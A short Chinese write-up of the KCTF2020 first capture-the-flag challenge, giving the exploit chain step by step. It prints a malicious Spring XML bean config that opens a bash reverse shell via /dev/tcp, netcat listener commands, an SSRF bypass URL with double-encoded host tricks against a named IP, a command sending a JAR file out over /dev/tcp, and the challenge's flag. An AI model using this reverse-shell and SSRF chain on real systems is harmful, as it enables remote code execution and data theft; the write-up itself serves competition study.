【KCTF2020】第一题至暗时刻

不多BB已经有同学发文章了
https://bbs.pediy.com/thread-263596.htm
https://bbs.pediy.com/thread-263594.htm

这里再补充一点细节

  1. 完整 xxe.xml 内容
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb1" class="java.lang.ProcessBuilder" init-method="start">
 <constructor-arg>
 <list>
  <value>/bin/bash</value>
  <value>-c</value>
  <value><![CDATA[bash >& /dev/tcp/<ip>/<port> 0>&1]]></value>
 </list>
 </constructor-arg>
 </bean>
</beans>
  1. 先用 nc 监听指定的
nc -lv <port>
  1. 再访问绕过链接 http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxxxxx.com/xxe.xml 这时候监听的 nc 就会返回 shell_1

  2. 另起一个命令行窗口 shell_2,执行 nc -lvnp <port> > 1.jar 重新监听端口并将传入内容转存到指定文件

  3. 返回 shell_1 执行 cat /home/vip-demo-0.0.1-SNAPSHOT.jar > /dev/tcp/<ip>/<port> 即可下载文件

  4. 最后解析 Jar 包得到 flag flag{congratulations-Path-the-spring-boot}

发表评论